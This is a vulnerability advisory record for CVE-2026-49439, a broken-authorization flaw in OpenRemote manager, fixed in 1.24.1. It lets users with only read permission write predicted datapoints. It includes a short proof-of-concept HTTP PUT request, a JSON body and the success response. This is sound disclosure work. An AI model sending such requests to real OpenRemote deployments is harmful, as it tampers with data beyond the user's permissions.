{"id":"CVE-2026-49439","aliases":["GHSA-xj53-j257-hxvg"],"url":"https://o3.security/vulnerability/CVE-2026-49439","summary":"OpenRemote read-only asset users can write predicted datapoints","details":"# Summary\n\nThe predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.\n\nThe endpoint:\n\n```text\nPUT /api/{realm}/asset/predicted/{assetId}/{attributeName}\n```\n\naccepts write requests from users lacking `write:assets`.\n\nThe implementation appears to check `READ_ASSETS` while performing a write operation through:\n\n```java\nassetPredictedDatapointService.updateValues(...)\n```\n\n# PoC\n\nA user was created with only:\n\n```text\nread:assets\n```\n\nand without `write:assets`.\n\nThe following request succeeded:\n\n```http\nPUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature\n```\n\nRequest body:\n\n```json\n[{\"x\":1779199999001,\"y\":1337}]\n```\n\nResponse:\n\n```text\nHTTP/2 204\n```\n\nDatabase verification confirmed the datapoint was written successfully:\n\n```text\nentity_id: 4Fr8Pcp7iDjrEmoSUFolvT\nattribute_name: temperature\nvalue: 1337\n```\n\n# Impact\n\nUsers with read-only asset permissions can modify predicted datapoints for assets.","published":"2026-09-11T20:44:13.314Z","modified":"2026-09-16T08:11:35.484630Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"},"epss":{"score":0.00158,"percentile":0.05391,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.openremote:openremote-manager","fixedVersion":"1.24.1"}],"fix":{"url":"https://github.com/openremote/openremote/commit/583dbbfb96076ba099be8729ddf506acf9e48325","label":"openremote/openremote@583dbbf"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49439.json"},{"type":"ADVISORY","url":"https://github.com/openremote/openremote/security/advisories/GHSA-xj53-j257-hxvg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49439"},{"type":"FIX","url":"https://github.com/openremote/openremote/commit/583dbbfb96076ba099be8729ddf506acf9e48325"},{"type":"PACKAGE","url":"https://github.com/openremote/openremote"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-16T08:11:35.484630Z"}}